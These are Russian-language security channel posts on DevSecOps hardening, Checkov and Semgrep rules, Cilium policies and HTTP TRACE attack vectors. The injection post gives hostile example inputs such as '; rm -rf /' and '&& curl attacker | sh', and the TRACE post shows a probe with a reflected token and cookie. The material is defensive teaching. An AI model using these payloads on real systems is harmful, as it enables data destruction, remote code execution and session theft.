🛠 Нетривиальное Reco при разрабоке ПО

Салют,
Сегодня хочу поделиться с тобой специфичными требованиями ИБ для разработки и часть из них будет на примерах. Мы с тобой посмотрим на то, что ты не всегда можешь увидеть или учесть. Думаю для твоей практики будет это полезно.

Docker игнорирование

Необходимо для .dockerignore, который указывает докеру какие файлы не стоит копировать в образ при сборке образа, вносить минимально необходимые параметры, такие как:

— Секреты и ключи: .env, *.pem, *.key, id_rsa, как полный доступ к БД, серверам, API, приватные ssh ключи
— Конфигурации с паролями: config/*.json, settings.yml, как утечка учётных данных и внутренних настроек
— Данные пользователей: *.sqlite, *.db, exports/, как утечка персональных данных
— Служебные файлы системы и IDE: .git/, .idea/, .vscode/, как раскрытие истории изменений, путей, логинов
— Временные и кэш-файлы: tmp/, cache/, __pycache__/, как утечка отладочной информации

- Аналогичный формат для helm-чартов. Все описаное для dockerignore также верно и для .helmignore

Git игнорирование

— Баз данных
— Файлов, образующихся в процессе и результате компиляции проекта вроде target/, output/, release/, debug/
— Разные сторонние инструменты
— Файлы, генерируемые тестовым фреймворком, профилировщиком, дебаггером и т.п.
— Сгенерированная из кода документация только в отдельный удаленный репозиторий, через который потом развертываете сайт с документацией (пример mkdocs + gpages)
— Файлы, создаваемые при выполнении кода: журналы (*.log), результаты работы и т.п.
— Временные файлы текстового редактора или среды разработки типа *~.
— Файлы, создаваемые операционной системой, например thumbs.db, .DS_Store

CI/CD

- Необходимо реализовать раздельные CI workflow для каждого контура внутри стендов, как пример DEV, TEST, CERT, PROD и тд
- Все секреты и ключи должны использоваться только через одобренные переменные CI/CD
- Хранение секретов в коде, в репозитории или в конфигурационных файлах запрещено. В случае обнаружения секретов в MR, пайплайн должен автоматически блокировать merge/ pull
- Неиспользуемые сервисы должны быть отключены, брандмауэр настроен и ограничен сетевой доступ к инстансу
- Доступ должен осуществляться исключительно по протоколу TLS 1.3 с современными шифрами. Использование HTTP или устаревших алгоритмов шифрования запрещено
- Все Runner'ы должны быть размещены в изолированных сетях с строгим контролем исходящего трафика

Архитектура

- Доступ в интернет должен быть запрещен по умолчанию и предоставляться только выделенным Runner'ам через прокси-серверы с white-list фильтрацией по FQDN для загрузки исключительно необходимых зависимостей
- Должен быть разработан и поддерживаться Disaster Recovery Plan (DRP), включая периодическую проверку восстановления
- База данных должна размещаться в отдельном инстансе/ кластерe, с ограничением доступа только для серверов repo hpsts с применением шифрования

Инфраструктура внутри периметра

- Развёртывание repo host в выделенном серверном сегменте VLAN с ограниченным входом только по HTTPS/SSH с рабочих сетей и из сегмента раннеров
- Белые списки должны быть только реализованы для доверенных пользователей и только через сторонний jump сервер и/или песочницу
- Использовать отдельные VM, а также кластера под Web UI, API, Sidekiq тд, включая отдельный экземпляра для PostgreSQL, Redis и тд либо управляемых сервисов БД, кэша
- Необходимо достичь отказа от «all‑in‑one» на PROD
- Обязательное включение HTTPS с внутренним корпоративным PKI, запрет plain HTTP, настройка HSTS и TLS 1.3
- Необходима реализация для ограничения протоколов, шифров по корпоративному криптопрофилю
- Необходимо использование 2FA, SSO при IdP, а также принудительная 2FA политика для всех пользователей
- Использование только сильных ключей SSH Ed25519, RSA с достаточной длиной, реализовать запрет DSA

Итого: это только начальный вектор, я буду тебе накидывать такие примеры, что бы ты смог их применять и смотреть на практике на сколько это будет юзабельно для тебя.

#appsec #devsecops #reco #pmcases #toolchain

Салюты, не могу устоять, поэтому обрати внимание на свой профиль 😅🤣 причастным привет

#lol

🛠 Нетривиальное Reco для сети и управления репозиториями

Сегодня хочу продолжить предыдущую тему и п поделиться с тобой материалами по сегментации и управлением репозиторием.

Сам контроль репозиториями на уровне доступов мы посмотрим позже вместе и да, мы рассмотрим роли со стороны ИБ. Будем брать то, что можно достать из коробки на CE. Кастом всегда можно запилить 🙃

Сегментация и связанность

1 - GitLab CE:

— bastion‑узлов: админ‑доступ (Web, SSH для root/ maintenance) только из jump‑host’ов
— Inbound: HTTPS (443)/SSH (22) с рабочих подсетей, сегмента раннеров
— Outbound: только к корпоративному SMTP, мониторингу/ логам, внутреннему Nexus/ registry, внешнему интернету через прокси при необходимости зависимости, с явным egress‑ACL

2 - GitLab Runner (инфраструктурные раннеры, не shared в DMZ):

— Размещение в отдельном сегменте «CI‑runner zone» с доступом Outbound к GitLab по HTTPS/SSH (API для регистрации, получения job, push артефактов)
— Размещение в отдельном сегменте «CI‑runner zone» с доступом Outbound к Nexus/иному артефакт‑репозиторию только по нужным портам (например, 8081/8082 для HTTP(S))
— Запрет прямого доступа раннеров к боевым БД и внутренним бизнес‑сервисам, кроме явно необходимых для тестов стендов
— Outbound к Интернету — через прокси и только для скачивания зависимостей/ баз уязвимостей; при возможности использовать зеркала в Nexus
— Inbound к раннерам: закрыт (только инициатива от раннера к GitLab/Nexus); управляющее соединение runner → GitLab по HTTPS

3 - Nexus/ репозиторий артефактов:

— Inbound: доступ только из сегмента раннеров и, при необходимости, из сегмента сборочных серверов/релиз‑оркестраторов
— Outbound: к внешним central‑репозиториям (Maven Central, PyPI, npm и т.п.) через контролируемый прокси; к Internet — только через egress‑фильтрацию и инспекцию

Практика управления репозиториями

- При построении ACL использовать принцип белых списков: запрещено всё, что не разрешено явно
- Сетевой трафик между всеми сегментами VLAN должен быть запрещен по умолчанию
- Административный доступ (SSH, RDP, доступы к DB и тд.) ко всем узлам во всех сегментах должен быть разрешен только со специально выделенного сегмента управления Management VLAN
- Должна соблюдаться четкая классификация всех проектов в соответствии с уровнем конфиденциальности данных: Private (конфиденциальные данные), Internal (внутренняя информация), Public (открытые данные)
- Видимость проекта не может быть менее строгой, чем видимость родительской группы
- Не привилегированным пользователям должно быть доступно создание только Private репозиториев
- В защищённых ветках должно быть запрещено выполнение force push
- Запрос на слияние должен быть выполнен только при успешном прохождении всех проверок
- Рекомендуется включать этап проверки подписи коммитов в конвейер CI/CD
- Артефакты CI/CD должны храниться в корпоративных зашифрованных хранилищах с ограничением срока жизни (пример S3)
- Доступ к изменению конфигурации CI/CD должен быть строго ограничен, а сами изменения должны отслеживаться
- Необходимо использовать защиту тегов для контроля над развертыванием и выпуском версий
- Джобы, работающие с секретами или производящие сборку для продакшена, должны запускаться на выделенных раннерах со строгим контролем доступа
- Видимость секретов, хранящихся в переменных CI/CD должны быть «masked and hidden»
- Рекомендуется выполнять централизованное хранение всех логов стадии сборки и журналов событий конвейеров для последующего аудита и анализа

Итого: продолжаем накидывать примеры, что бы ты смог их применять и смотреть на практике на сколько это будет юзабельно для тебя.

#appsec #devsecops #reco #pmcases #toolchain

🛠 Checkov SAST для IAC

Салют,
Давай продолжим с тобой смотреть дальше в сторону инструментов и сегодня мы поговорим про Антона Павл.. Checkov (doc):

Это инструмент для статического анализа (SAST) инфраструктуры как кода (IaC), который сканирует конфигурации на предмет ошибок безопасности и соответствия стандартам до их развертывания. Open-source (Apache 2.0). Форматы отчетов: CLI, JSON, JUnit XML, GitHub Failed Only, GitLab SAST, SARIF, CSV, CycloneDX.

Фишки

• Анализирует Terraform, CloudFormation, Kubernetes‑манифесты, Dockerfile и другие инфраструктурные файлы на ошибки конфигурации
• Подходит для автоматической проверки Docker/IaC в пайплайнах, чтобы не пропускать небезопасные настройки в образах и инфраструктуре
• Может использоваться для быстрой проверки конфигураций перед коммитом, чтобы исключить базовые misconfiguration
• SARIF → GitHub Security, GitLab SAST
• JSON → DefectDojo, Jira
• Поддержка как атрибутных (на Python), так и графовых (на YAML) политик для анализа взаимосвязей ресурсов

Команды

pip install checkov
 
# Сканирование директории
checkov -d /path/to/terraform/code
 
# Запуск только определенных проверок (по ID или severity)
checkov -d . --check CKV_AWS_20,CKV_AWS_57
checkov -d . --check HIGH
 
# Пропуск определенных проверок
checkov -d . --skip-check CKV_AWS_20
 
# Вывод в формате JUnit XML (для CI/CD)
checkov -d . -o junitxml > checkov.xml
 
# Сканирование с загрузкой внешних Terraform модулей
checkov -d . --download-external-modules true
 
# Подавление конкретной проверки в коде (inline comment) checkov:skip=CKV_AWS_20
resource "aws_s3_bucket" "example" {
  bucket = "my-bucket"
  acl    = "private"
}

Встраивание

stage('Checkov') {
  steps {
    script {
      docker.image('bridgecrew/checkov:latest').inside("--entrypoint=''") {
        unstash 'terragoat'
        try {
          sh '''
            checkov -d . --use-enforcement-rules -o cli -o junitxml \
              --output-file-path console,results.xml \
              --repo-id example/terragoat --branch master
          '''
          junit skipPublishingChecks: true, testResults: 'results.xml'
        } catch (err) {
          junit skipPublishingChecks: true, testResults: 'results.xml'
          throw err
        }
      }
    }
  }
  options {
    preserveStashes()
    timestamps()
  }
}

Пример политик

enforcement_rules:
  - name: "prod-enforcement"
    description: "Строгие политики для прод-веток: блокируем Critical/High, предупреждаем по Medium."
    is_default: true
    criteria:
      provider: "terraform"          # к каким сканам применяем
      filter:
        # пример — применять к репо terragoat в ветке master/main
        repo_id: "example/terragoat"
        branches:
          - "master"
          - "main"
    rules:
      - rule_id: "CKV_AWS_*"         # все AWS-политики
        soft_fail_threshold: "MEDIUM"
        hard_fail_threshold: "HIGH"

      - rule_id: "CKV_K8S_*"         # все политики по Kubernetes
        soft_fail_threshold: "MEDIUM"
        hard_fail_threshold: "HIGH"

      - rule_id: "CKV_SECRET_*"      # поиск секретов
        soft_fail_threshold: "LOW"
        hard_fail_threshold: "MEDIUM"

  - name: "dev-relaxed"
    description: "Более мягкие политики для dev/feature-веток."
    is_default: false
    criteria:
      provider: "terraform"
      filter:
        branches:
          - "develop"
          - "feature/*"
    rules:
      - rule_id: "CKV_AWS_*"
        soft_fail_threshold: "HIGH"   # Medium только как инфо
        hard_fail_threshold: "CRITICAL"

      - rule_id: "CKV_K8S_*"
        soft_fail_threshold: "HIGH"
        hard_fail_threshold: "CRITICAL"

      - rule_id: "CKV_SECRET_*"
        soft_fail_threshold: "MEDIUM"
        hard_fail_threshold: "HIGH"

Итого: что бы тебе самому окунуться в него будет круто потыкать вот эту лабку, там ты сразу потыкаешь в Semgrep, который описывал вот тут и SCA Dependency Check.

#toolchain #sast #appsec #course #sca #sbom #containersecurity #reco #techsolution

🛠 Профиль Checkov SAST

Я тут начал пересобирать кастомные профили, да и мне захотелось поделиться с тобой примером под checkov, который рассмотрели. Профиль примера относится к инфра по Docker и Helm.

Цель: минимизировать поверхность атаки контейнеров, исключить хранение секретов в образах и манифестах, а также обеспечить безопасные дефолты для production-сред.

Что делаем?

• Анализируем Dockerfile и Helm-чарты как основной слой упаковки
• Фильтруем предупреждения по enforce/ skip, quiet: false
• Срабатывание в разделе enforce будем считать ошибкой пайплайна
• Для dev-веток переопределяем флагом в CI ошибки как soft-fail: true/ false
• Запрещаем автоматическое скачивание модулей и делаем меньше сетевых зависимостей - download_external_modules: false
• Формируем «белый список» security-политик - run_all_checks: false

Политика

enforce:
  docker:
    - CKV_DOCKER_2      # Контейнер не должен запускаться под root
    - CKV_DOCKER_3      # Минимизировать лишние пакеты и слои
    - CKV_DOCKER_5      # Избегать образов с тегом latest без необходимости
    - CKV_DOCKER_7      # Не использовать ADD вместо COPY
    - CKV_DOCKER_8      # Явно задавать non-root пользователя
    - CKV_DOCKER_9      # Удалять временные файлы, кеши, package manager metadata
    - CKV_DOCKER_10     # Обязательный healthcheck для оркестраторов (k8s, swarm) и SLA
    - CKV_DOCKER_12     # Не хранить секреты в ENV/ ARG/ лейблах образа
    - CKV_DOCKER_13     # Запрет запуска контейнера в privileged режиме
    - CKV_DOCKER_14     # Ограничить Linux capabilities: drop ALL
    - CKV_DOCKER_16     # read-only root filesystem

  helm:
    - CKV_K8S_11         # networkPolicy для контролируемого трафика между подами
    - CKV_K8S_20        # spec.securityContext.privileged: false
    - CKV_K8S_37        # runAsNonRoot: true, runAsUser != 0
    - CKV_K8S_40        # Не хранить чувствительные данные в явном виде в values/ ConfigMap
    - CKV_K8S_14        # hostNetwork/hostPID/hostIPC должны быть false
    - CKV_K8S_38        # securityContext.capabilities: drop ALL, запрещены SYS_ADMIN и подобные
    - CKV_K8S_22        # readOnlyRootFilesystem: true
    - CKV_K8S_8         # Требовать requests/ limits для CPU и памяти

directory:
  # Директория анализа
  - .

file:
  - vulnerable-app/Dockerfile
  - docker-compose.yml
  
# Helm-чарты:
  - helm/service/values.yaml
  - helm/service/templates/deployment.yaml

# skip_check:
#  - CKV_DOCKER_5  # образ тестовой среды жёстко привязан к latest (exmpl)

Пример high-level политики общей

 policy:
   docker:
     require_non_root_user: true  # USER != root
     require_healthcheck: true # HEALTHCHECK
     require_explicit_user: true # Указание USER
     forbid_secrets_in_env: true # ENV/ARG != pswrd/ token
     forbid_default_credentials: true # Запрет admin/admin и т.д.
     drop_all_capabilities_by_default: true # CAP_* по минимуму
     forbid_privileged: true # privileged: false
     forbid_host_network: true # hostNetwork: false
     prefer_read_only_rootfs: true # rootfs read-only

   helm:
     require_pod_security_context: true  # securityContext
     require_network_policies: true # networkPolicy
     forbid_host_path_mounts: true # hostPath монтируется по approve-list
     require_resource_limits: true # requests/limits заданы
     forbid_plaintext_secrets: true  # секреты не хранятся в values.yaml/ConfigMap

#toolchain #sast #appsec #course #reco #techsolution

🤔 Поиск уязвимостей в ПО при эксплуатации

Сегодня послушал классный вебинар с Артемом Храмых из AktivConsulting.
Надеюсь тебе будет доступна скоро запись и ты сможешь отметить основные особенности, а со своей стороны отмечу следующее:

• Контекст реального запуска, где уязвимость видна только с учётом данных, конфигурации, фич‑флагов и окружения
• Важен рабочий вектор атаки, как payload в эффект: RCE, LFI, доступ к данным
• Используются логи, трассировки, RASP/ IAST: видно, какой запрос, какая функция и какие данные дошли до опасной операции
• Баги после авторизации: IDOR, эскалация прав, злоупотребление легальными функциями
• Уязвимость специфична для прод‑конфигурации: IAM, сеть, секреты, версии сервисов
• Уязвимость уже в проде, есть PoC и нужны временные меры до фикса кода

И да, все-таки стоит посмотреть на коллег и их кейсы в AKTIV.CONSULTING @aktivcons.

#reco #reserch #riskanalysis

Немного мемаса, насущное для нас всех под 22% НДС.

#lol

🛠 Semgrep Rules OWASP A03:2024 – Injection (SQL/OS/Expression)

Салют,
Cегодня хочу поделиться с тобой правилами для semgrep по иньекциям по OWASP A03:2024.

Думаю, что буду периодами приводить примеры для возможности их доработки и переиспользования.

Инъекции — класс уязвимостей, где данные попадают в интерпретатор как часть команды или запроса с изменением смысла. Возникает уязвимость, когда приложение не валидирует ввод, а также строит динамические запросы конкатенацией строк. Уязвимость использует данные напрямую в интерпретаторах без параметризации и экранирования. Конкатенация строк — это соединение строк в одну без изменения содержимого.

Типичные векторы атаки A03

1. SQL‑инъекция: SQL‑фрагмент в параметр запроса, тело, cookie или заголовок (SELECT * FROM users WHERE id = '  +  id  +  ' , где id=' OR '1'='1  и запрос возвращает все записи и дает возможность их изменения
2. OS Command Injection: ввод попадает в ОС с выполнением Runtime.exec ,  ProcessBuilder ,  system() ,  sh -c  и т.п. То есть дописываем  ; rm -rf /  или  && curl attacker | sh , добиваясь удалённого исполнения команд на сервере
3. Expression / EL / OGNL‑инъекция: подстановка ввода в движок и его исполнение. То есть выражение обращается к произвольным объектам, либо вызывает метод, читает файлы, выполняет команды и т.д. Принцип: ввод меняет структуру команды/ запроса, а интерпретатор выполняет иную операцию

Пример правил Semgrep по A03:2024

- id: java-sqli-concat-critical
    languages: [java]
    severity: CRITICAL
    message: |
      OWASP A03:2024 (Injection) — возможная SQL-инъекция через конкатенацию
      строк. Используйте PreparedStatement с параметрами.
    patterns:
      - pattern: |
          $STMT = $CONN.createStatement();
          ...
          $STMT.executeQuery("SELECT " + $VAR);
      - pattern: |
          $STMT = $CONN.createStatement();
          ...
          $STMT.execute("SELECT " + $VAR);
      - pattern: |
          $STMT = $CONN.createStatement();
          ...
          $STMT.executeUpdate("SELECT " + $VAR);
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-89"]
      likelihood: "HIGH"
      impact: "HIGH"

  - id: java-sqli-prepared-misuse-high
    languages: [java]
    severity: HIGH
    message: |
      OWASP A03:2024 (Injection) — PreparedStatement. 
      Используйте плейсхолдеры '?' и setXxx().
    pattern: |
      PreparedStatement $PSTMT = $CONN.prepareStatement("SELECT " + $VAR + " FROM " + $TABLE);
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-89"]
      likelihood: "MEDIUM"
      impact: "HIGH"

  - id: java-os-command-injection-runtime
    languages: [java]
    severity: CRITICAL
    message: |
      OWASP A03:2024 (Injection) — возможная командная инъекция через
      Runtime.getRuntime().exec()
    patterns:
      - pattern: |
          Runtime.getRuntime().exec($CMD);
      - pattern: |
          Runtime.getRuntime().exec(new String[] { $A, $B, $C });
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-78"]
      likelihood: "HIGH"
      impact: "CRITICAL"

  - id: java-expression-language-injection
    languages: [java]
    severity: HIGH
    message: |
      OWASP A03:2024 (Injection) — динамическая компиляция/ выполнение выражений.
    patterns:
      - pattern: |
          new org.springframework.expression.spel.standard.SpelExpressionParser()
            .parseExpression($EXPR).getValue($CTX);
      - pattern: |
          $ENGINE.eval($EXPRESSION);
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-94"]

#toolchain #sast #appsec #course #reco #techsolution

🛠 Vulnerable MCP Servers Lab

Немного подворовано, но стоит поделиться, думаю тебе зайдет. По ссылке репа с 9 лабами от AppSecco, посвященных небезопасной реализации MCP.

#toolchain #appsec #course

🛠 Cilium CNI Secure Profile

Салют, я ранее вот тут описывал, что такое CNI, да и рассказал на примерах про Cilium, а сегодня хочу поделиться с тобой полным профилем для него.

В этом профиле пара политик на кластерный baseline и приклад. Давай посмотрим на него поближе. Профиль дает сегментацию кластера и дополнительный app‑aware контроль на уровне HTTP, то есть best practice: кластерный каркас и специфичные правила.

Что делает?

- Вводит default‑deny egress для Pod’ов, кроме DNS и FQDN, чтобы скомпрометированный сервис не мог свободно сливать данные
- CiliumClusterwideNetworkPolicy задаёт жёсткий baseline для всего кластера и базовую защиту multi-tenant
- Ограничивает пути до backend только для БД и конкретных API, а frontend для namespaces
- На L7 (HTTP, gRPC, DNS, SQL‑протоколы, запросы/ методы/ URL внутри трафика) разрешает только определённые методы, тем самым уменьшая API и предотвращая вызовы

apiVersion: "cilium.io/v2"
kind: CiliumClusterwideNetworkPolicy
meta
  name: "cluster-baseline-default-deny-egress"
spec:
  description: |
    Кластерный baseline:
      - DNS (kube-dns/CoreDNS);
      - явный список внешних эндпоинтов

  # Политика применяется ко всем endpoint'ам в кластере
  # если CNP не переопределяет узким matchLabels
  endpointSelector:
    matchLabels: {}

  egress:
    # namespace kube-system
    - toEndpoints:
        - matchLabels:
            "k8s:io.kubernetes.pod.namespace": kube-system
            "k8s-app": kube-dns
      toPorts:
        - ports:
            - port: "53"
              protocol: ANY
          rules:
            dns:
              - matchPattern: "*"  # любые домены

    # трафик к ограниченному списку внешних хостов
    - toFQDNs:
        - matchName: "api.payment.example.com"
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP

  # default-deny для egress
  egressDeny:
    - {}

apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
meta
  name: "app-frontend-backend-policy"
  namespace: "app-namespace"
spec:
  description: |
      - ingress: только от frontend к backend
      - egress backend'а: только к БД и внешнему API
      - L7 принимает безопасный набор методов

  # backend‑pods по метке
  endpointSelector:
    matchLabels:
      app: my-backend

ingress:
    # трафик от Pod'ов с app=my-frontend
    - fromEndpoints:
        - matchLabels:
            "k8s:io.kubernetes.pod.namespace": app-namespace
            app: my-frontend
      toPorts:
        - ports:
            - port: "8080"
              protocol: TCP
          rules:
            http:
              - method: "GET"
                path: "^/healthz$"
              - method: "GET"
                path: "^/api/public/.*$"
              - method: "POST"
                path: "^/api/orders$"
              - headers:
                 - "X-API-KEY: .+"

  egress:
    # backend'у к базе данных в том же namespace
    - toEndpoints:
        - matchLabels:
            "k8s:io.kubernetes.pod.namespace": app-namespace
            app: my-database
      toPorts:
        - ports:
            - port: "5432"
              protocol: TCP  # PostgreSQL
    # доступ к внешнему API ограниченному кластерным CNP по FQDN
    - toFQDNs:
        - matchName: "api.payment.example.com"
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP

#appsec #toolchain #containersecurity #reco #techsolution

🛠 k8s Secure Network Policy

Салют, решил поделиться полезным ресурсом про секьюрные политики сети в продолжении предыдущей темы. Почекать редактор можно вот тут.

networkpolicy.io интерактивный веб‑редактор для Kubernetes, включая политик под Cilium. Сам ресурс помогает проектировать и проводить их чекап для конфига.

Возможности

• Интерактивный выбор namespace, podSelector/ namespaceSelector, ingress/ egress правил, где редактор собирает манифест
• Политики показывают граф в каких pod и namespace могут общаться, а какие потоки заблокированы
• Туториал демонстрирует как реализовать zero‑trust baseline с описанием podSelector/ namespaceSelector, ingress/ egress, принципы add‑only и т.д.
• Имеется возможность загрузить YAML‑манифест для проверки работы cross‑namespace правил, а также вычислять уязвимости безопасности
• Security Score с оценкой политики для кластера к принципам least privilege и zero trust, то есть базовые проверки для default‑deny, покрытия ingress/ egress и т.п.
• Редактор принимает flow‑логи от Hubble/ Cilium и по потокам строит нужные политики
• Политики можно применить в любом кластере, где CNI поддерживается с L7‑функциями

Зачем нам это?

• Помогает уйти от default allow к осознанному default‑deny без риска отказа в обслуживании
• Уменьшает количество типичных ошибок, типа, не тот namespace, не тот selector, отсутствие DNS‑разрешений и т.п.
• Обьясняет на примере и по графу как и что работает, как это поправить
• Обучает и помогает прокачаться быстрее, чем методом "тыка" или ИИ

#appsec #toolchain #reco #specialty

🛠 Вектора атак метода TRACE

Салют, часто спрашиваю встречающихся ребят, кто умеет в DAST и хоть как то трогал API, про метод TRACE и наблюдаю картину, что поверхностно касаются его.

Думаю, что стоит с тобой поделиться описанием с проблемами. Сразу отметим, что метод диагностический и рассматривается как небезопасный, поэтому его отключают, но есть и огрехи, когда он используется или о нем просто забыли, не проверили или так "исторически сложилось".

Описание метода

TRACE выполняет loop‑back‑тест, когда сервер возвращает клиенту точную копию полученного HTTP‑запроса с заголовками (Content-Type и тело). Изначально использовался для отладки прокси‑цепочек для отслеживания изменяющихся заголовков. Пример, когда вернулся запрос, включая cookies и заголовки:

TRACE / HTTP/1.1
Host: vulnerable.example
User-Agent: test-client
Cookie: SESSIONID=abc123; HttpOnly

HTTP/1.1 200 OK
Content-Type: message/http

TRACE / HTTP/1.1
Host: vulnerable.example
User-Agent: test-client
Cookie: SESSIONID=abc123; HttpOnly

Флаги по кодам

• 2xx и особенно с отражением заголовков считаем эксплуатируемыми
• 4xx/ 5xx типа 405/ 501, то есть метод отключён/ не реализован. Как пример, если сервер принимает TRACE и обрабатывает его так же, как обычные запросы, атакующий может использовать TRACE‑запросы как «мусорный» трафик для выбивания лимита по 429 Too Many Requeste

Вектора атак

• Cross‑Site Tracing (XST) для кражи cookies / токенов. OWASP описывает обход HttpOnly и кражу сессионных cookies через TRACE‑ответ. TRACE используется для обхода HttpOnly‑cookies и чтения содержимого. HttpOnly запрещает проход JS к cookie (XSS не валидна), но если браузер отправляет cookie в HTTP‑заголовках, то уязвимый сценарий: добавляется cookie в запрос, далее в ответе браузера они отображаются в теле, где злоумышленник через другую уязвимость (иной XSS / browser bug / кросс‑домен) получает это тело

• XST + XSS/ CSRF для выполнения действий от имени жертвы или иными клиентскими уязвимостями: XSS/ CSRF‑скрипт инициирует TRACE‑запрос к тому же домену, где Cookie и заголовки авторизации попадают в тело ответа. Вследствии скрипт крадёт данные и использует, что бы осуществить вход в аккаунт жертвы. Тут добывается токен/ сессия, даже если они защищены HttpOnly

• TRACE для HTTP‑desync/ cache‑poisoning атак: TRACE позволяет увидеть финальный вид запроса после всех модификаций на прокси. Мы понимаем, что он используется как эхо запрос, где видно, что идет до бэкенда и вследствии получается подмена ответов (cache poisoning), кража, выполнение запросов от имени других пользователей

Пример

1 - Проверка наличия метода

curl -i -X TRACE https://target.example/

2 - Ответ

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 192

TRACE / HTTP/1.1
Host: internal.example
User-Agent: corp-client/5.2
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Forwarded-For: 10.0.5.34
X-Internal-User: 123456
Cookie: SESSIONID=abc123; HttpOnly

Следовательно, токен и cookie можно использовать для персонификации от имени клиента и внутренние заголовки, IP раскрывают структуру инфраструктуры (периметр, сегментация, внутренние сервисы).

Итого: классический XST считается устаревшим, но TRACE до сих пор включён на части серверов (Apache и пр.) и способен раскрывать внутренние заголовки и структуру инфраструктуры, а также работать в связке с SSRF/ RCE и т.д. PortSwigger и OWASP продолжают ссылаться на тесты проверки TRACE в своих чек‑листах безопасности HTTP‑методов именно по этим причинам.

#appsec #toolchain #reco #specialty #reserch

🏆 Коллектив МГТУ им. Баумана награжден орденом "За доблестный труд"

Салют, как участник данного события я буду очень рад поделиться с тобой этой новостью.

Президент России Владимир Путин наградил МГТУ им. Н.Э. Баумана орденом «За доблестный труд», а именно за крупный вклад в развитие отечественной науки, образования и подготовку высококвалифицированных специалистов, что зафиксировано в президентском указе на официальном портале правовых актов.

Роль вуза в награде
• В указе подчёркивается значимый вклад университета в развитие российской науки и системы высшего образования, а также в подготовку инженерных и научных кадров
• МГТУ традиционно считается одним из ведущих технических вузов страны, неоднократно отмечавшимся государственными наградами за научные и образовательные достижения.

Вклад кафедры ИУ8 и ИУ10

• Готовят специалистов по защите информации и информационной безопасности автоматизированных систем, включая значимые объекты критической информационной инфраструктуры
• Учебные программы кафедры ориентированы на анализ угроз и рисков, построение комплексных систем защиты, мониторинг и реагирование на инциденты, безопасность критически важных объектов
• На базе ИУ10 и связанных структур реализуются научные и практические проекты по технической защите информации, киберустойчивости и безопасной разработке, что усиливает практический вклад университета в сферу ИБ
• Преподаватели и руководство награждались ведомственными медалями и отмечались профильными регуляторами, что отражает вклад кафедры в государственную систему защиты информации
• Партнёры из отрасли подчёркивают роль в подготовке специалистов для киберустойчивости финансового и иного критического сектора, в том числе участия в создании киберполигона кредитно‑финансовой сферы
• Кафедра разрабатывает собственные электронные образовательные ресурсы в проекте «Открытый МГТУ», расширяя доступ к профильным знаниям по информационной безопасности и усиливая образовательный вклад университета

Так что классно и приятно, что именно 10ка и моя родная 8ка удостоились этой награды.

Stay tuned 🙏

#appsec #devsecops #course #paper

Салют, напоминание для важных и очень занятых, берегите себя 🫶🙏🙃

#lol

Доброе,
А тут прям то, что надо 😅

#lol

Иногда это так «волнительно»

#lol